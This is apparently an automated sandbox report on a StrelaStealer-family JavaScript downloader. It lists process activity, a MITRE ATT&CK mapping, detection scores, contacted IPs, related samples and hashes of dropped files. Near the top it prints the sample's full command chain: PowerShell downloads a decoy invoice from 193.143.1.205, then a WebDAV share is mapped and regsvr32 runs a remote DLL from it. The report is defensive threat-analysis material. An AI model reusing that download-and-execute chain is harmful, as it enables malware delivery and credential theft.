Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
262192623320272411.js	10%	Virustotal		Browse
262192623320272411.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Ncl	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/RcH	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/fc	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2267206434.0000017F4C510000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3495825980.0000017F4C600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/fc	net.exe, 00000007.00000002.2261794637.000001C8BEF19000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2261794637.000001C8BEEE8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Ncl	net.exe, 00000007.00000002.2261794637.000001C8BEF19000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/RcH	net.exe, 00000007.00000002.2261794637.000001C8BEF19000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2261794637.000001C8BEF0E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589008
Start date and time:	2025-01-11 08:20:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	262192623320272411.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.22.242.123, 2.22.242.11, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 172.202.163.200, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:21:24	API Interceptor	24x Sleep call for process: powershell.exe modified
02:21:28	API Interceptor	1x Sleep call for process: net.exe modified
02:21:29	API Interceptor	2x Sleep call for process: svchost.exe modified
02:21:41	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263199341112142
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH06:9JZj5MiKNnNhoxur
MD5:	ABECD9AE78CB52321280509B41B70792
SHA1:	4235BFCD704ED840896AC68BC00C3BCF49D97F7C
SHA-256:	EBA0308622B0895D8DE451F83FA8EE8A53A802AFCB950FB3FF81AFB114E64CAF
SHA-512:	273CD1197797337E9F2A628007C6A7D896C5B4474BDCAB7BA7083B1A2E6B6FEFA78C899C40C106826414289A162BECBDC64F64A4794A89C2C1DE0A2804131871
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x8b5fffbe, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555667742629745
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	EFD31FB89587E4D34F7A50120E5F39FE
SHA1:	78BBC75A79063CAD5F507E0D64E734FCE0C56D92
SHA-256:	71AF9C3464732465C299017532651D2829B3BF7D6CA852CFFA07966847B7EE18
SHA-512:	AB6B3CAF9B22FC91D7BA9AD55AAF52F6903B727BEB13E41557900E3B6A9B77571062A5CC1645AE6AC65578D2D7F033473BA010FC3A859CA6E7B3A9DA09DD6689
Malicious:	false
Preview:	._..... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................... .....}..................k..-.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07974280539577644
Encrypted:	false
SSDEEP:	3:mUYeP8q7euNaAPaU1lu5F1lolluxmO+l/SNxOf:mUzPVauNDPaU0QgmOH
MD5:	9AE4C8165B6BA4AE710B7DC602093F33
SHA1:	A8E98664F24791AFD62D2C67BC1A2916A0CF9867
SHA-256:	628A1DE7B6F7A61CC2C2DA19ABF7CEA21FD7BA724F273557700D63424FA85E80
SHA-512:	65C9E1008C378F30EC367CAB8BA0D55C70683EDD0617031D9D3E497BB482BAA6B082FB3F4CE77334D977DFFF7399A44105FE8FBCE27FC515451F95D0A7EF7F19
Malicious:	false
Preview:	..d......................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................k..-.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.174584143456385
Encrypted:	false
SSDEEP:	6:iOQGH7N9+q2PN72nKuAl9OmbnIFUtqGwJZmwUGw9VkwON72nKuAl9OmbjLJ:7FOvVaHAahFUtS/Y5OaHAaSJ
MD5:	F87131D2567B9498E180EF3D2D0C1B7C
SHA1:	C5C7CB0A33CD8D6D6E994C1459A30EE675D23B09
SHA-256:	ED13276CE2D7C9C4D068564F24618F8F4BFB14B326CF5FC887D4F2A5B1936228
SHA-512:	AE50B64773C587F6427A8144443B87905DAE00C1DD3471DFE78AA9AB979B81B62984FED735C858D0080327E1F530F4831DB61B56FBDE7540BC7153D6B5767B31
Malicious:	false
Preview:	2025/01/11-02:21:28.996 1a48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:21:28.999 1a48 Recovering log #3.2025/01/11-02:21:28.999 1a48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.174584143456385
Encrypted:	false
SSDEEP:	6:iOQGH7N9+q2PN72nKuAl9OmbnIFUtqGwJZmwUGw9VkwON72nKuAl9OmbjLJ:7FOvVaHAahFUtS/Y5OaHAaSJ
MD5:	F87131D2567B9498E180EF3D2D0C1B7C
SHA1:	C5C7CB0A33CD8D6D6E994C1459A30EE675D23B09
SHA-256:	ED13276CE2D7C9C4D068564F24618F8F4BFB14B326CF5FC887D4F2A5B1936228
SHA-512:	AE50B64773C587F6427A8144443B87905DAE00C1DD3471DFE78AA9AB979B81B62984FED735C858D0080327E1F530F4831DB61B56FBDE7540BC7153D6B5767B31
Malicious:	false
Preview:	2025/01/11-02:21:28.996 1a48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:21:28.999 1a48 Recovering log #3.2025/01/11-02:21:28.999 1a48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.09804539745645
Encrypted:	false
SSDEEP:	6:iOQG5fq2PN72nKuAl9Ombzo2jMGIFUtqGB0ZmwUGDY7kwON72nKuAl9Ombzo2jM4:7TvVaHAa8uFUtW/lY75OaHAa8RJ
MD5:	ED2A25DFE3A981F41EF15CC60965FA55
SHA1:	7DDD266BB8E85C0E6B53C13E2B91684AD3C1FFA9
SHA-256:	09603E055C9DFFDF3639ABFADDEC7B92147F937F3BB2B92AD4822637984791B2
SHA-512:	542999A4AB806968D6378272FAB8738A18E84312201EB5B59C9DBFF690917035FD6D04DAD09D3AC63EDC22AE7515B84DC2772E70F0E3F8A4D899DCF84800D9B9
Malicious:	false
Preview:	2025/01/11-02:21:29.225 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:21:29.234 1c30 Recovering log #3.2025/01/11-02:21:29.236 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.09804539745645
Encrypted:	false
SSDEEP:	6:iOQG5fq2PN72nKuAl9Ombzo2jMGIFUtqGB0ZmwUGDY7kwON72nKuAl9Ombzo2jM4:7TvVaHAa8uFUtW/lY75OaHAa8RJ
MD5:	ED2A25DFE3A981F41EF15CC60965FA55
SHA1:	7DDD266BB8E85C0E6B53C13E2B91684AD3C1FFA9
SHA-256:	09603E055C9DFFDF3639ABFADDEC7B92147F937F3BB2B92AD4822637984791B2
SHA-512:	542999A4AB806968D6378272FAB8738A18E84312201EB5B59C9DBFF690917035FD6D04DAD09D3AC63EDC22AE7515B84DC2772E70F0E3F8A4D899DCF84800D9B9
Malicious:	false
Preview:	2025/01/11-02:21:29.225 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:21:29.234 1c30 Recovering log #3.2025/01/11-02:21:29.236 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\75e6f072-c922-45d7-9848-01361fd38015.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.949706232714388
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3WsBdOg2H02caq3QYiubcP7E4T3y:Y2sRdsO7dMH0J3QYhbA7nby
MD5:	F07B499DC6009A12DA0EEDDD43343304
SHA1:	461FB932246F81FEE174BEC447278A77D5F19A7E
SHA-256:	1B795D8DF349DE430CBD9D1817A78871388EC4A96A7EE42C3592BA275ABF7738
SHA-512:	9F0B76EEE648AD2EF2C070FE67310AF310D4C40A0323BA5961C45A06ED6BE3DF750D3EB60147A0A5DF9AB20FAB7B6DF2A3E09A924AB43F05EE81888559FB4EA7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140101386631","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":168389},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.949706232714388
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3WsBdOg2H02caq3QYiubcP7E4T3y:Y2sRdsO7dMH0J3QYhbA7nby
MD5:	F07B499DC6009A12DA0EEDDD43343304
SHA1:	461FB932246F81FEE174BEC447278A77D5F19A7E
SHA-256:	1B795D8DF349DE430CBD9D1817A78871388EC4A96A7EE42C3592BA275ABF7738
SHA-512:	9F0B76EEE648AD2EF2C070FE67310AF310D4C40A0323BA5961C45A06ED6BE3DF750D3EB60147A0A5DF9AB20FAB7B6DF2A3E09A924AB43F05EE81888559FB4EA7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140101386631","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":168389},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.250269963235574
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7oK0:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhI
MD5:	43AAC07381378095ECCB39EBB01058CF
SHA1:	4DF8CDEE157EC93A7276E6A522F620F301742792
SHA-256:	A86159CAA1F7FA21C479D853089C24811A79FCCD1A038E64108988E1E723D21D
SHA-512:	B7642D86579DC4DDAFCBDA3FFCA60D5CA9F7E35B9C3A043CBFECE2F0351D84B65168ED449B1FC9461150FA96E77202221C0EEF88C769C2119265C70C71052F5C
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.064049814121656
Encrypted:	false
SSDEEP:	6:iOQGVq2PN72nKuAl9OmbzNMxIFUtqGBSZmwUGBekwON72nKuAl9OmbzNMFLJ:7LvVaHAa8jFUthS/Xe5OaHAa84J
MD5:	0B4A8A016587EC8A4FF246A6A15ED16A
SHA1:	DD615F147C1BB61F4426AA488EF8F8C3CA51962D
SHA-256:	849A4B56FA59B25CE550FE70EE2106728DE40F57A4922A98830238D421454B90
SHA-512:	B67EBCDD85FA6431C2164F91F82ADC066880DB46F5E314D41BBF3EAE7BD3FDDF7B36D7F7185028B14A00140D469176F72404741FA80494132AFE5E3A2D1EDDED
Malicious:	false
Preview:	2025/01/11-02:21:29.319 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:21:29.320 1c30 Recovering log #3.2025/01/11-02:21:29.320 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.064049814121656
Encrypted:	false
SSDEEP:	6:iOQGVq2PN72nKuAl9OmbzNMxIFUtqGBSZmwUGBekwON72nKuAl9OmbzNMFLJ:7LvVaHAa8jFUthS/Xe5OaHAa84J
MD5:	0B4A8A016587EC8A4FF246A6A15ED16A
SHA1:	DD615F147C1BB61F4426AA488EF8F8C3CA51962D
SHA-256:	849A4B56FA59B25CE550FE70EE2106728DE40F57A4922A98830238D421454B90
SHA-512:	B67EBCDD85FA6431C2164F91F82ADC066880DB46F5E314D41BBF3EAE7BD3FDDF7B36D7F7185028B14A00140D469176F72404741FA80494132AFE5E3A2D1EDDED
Malicious:	false
Preview:	2025/01/11-02:21:29.319 1c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:21:29.320 1c30 Recovering log #3.2025/01/11-02:21:29.320 1c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444438742053087
Encrypted:	false
SSDEEP:	384:ye6ci5tpiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mKs3OazzU89UTTgUL
MD5:	E9E7B309BB22087D1DC576A0183C3438
SHA1:	F151708AC28CBDDCE735F4888755F2B13F7D4EAC
SHA-256:	03228DEECBCF25A9CDCE22B9D16723249671560EB442EA8AB369348B7966D64C
SHA-512:	F8BB15A1FE0B575428EABBFE7A8A1351EB465AB59CCE1A25899C9515B01240644DF367FDDC5136B09A9F915C38D023D88329AA0930458E251CCDC17F26228932
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7660128091638363
Encrypted:	false
SSDEEP:	48:7M/JioyVuDioy14oy1C7oy16oy1PWKOioy1noy1AYoy1Wioy1oioykioyBoy1noz:70JuY+RXjBi/b9IVXEBodRBkE
MD5:	502196EE871886E3C63D2848B96C6A69
SHA1:	7FDB972DDD7C3E427BFCB5DE71AF711CD5D87560
SHA-256:	85505F7123066EE02664E1FC7BB5B7D423B7E936260AE3839F55D83073879EB2
SHA-512:	F9619396ABD710E1F55B331B1E1836E0188093B256A2F86F9042025F132D33661714B09C259C4668612F9162947EAE49791D61CE01FBB477C3CBE5B09E50E242
Malicious:	false
Preview:	.... .c........!...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
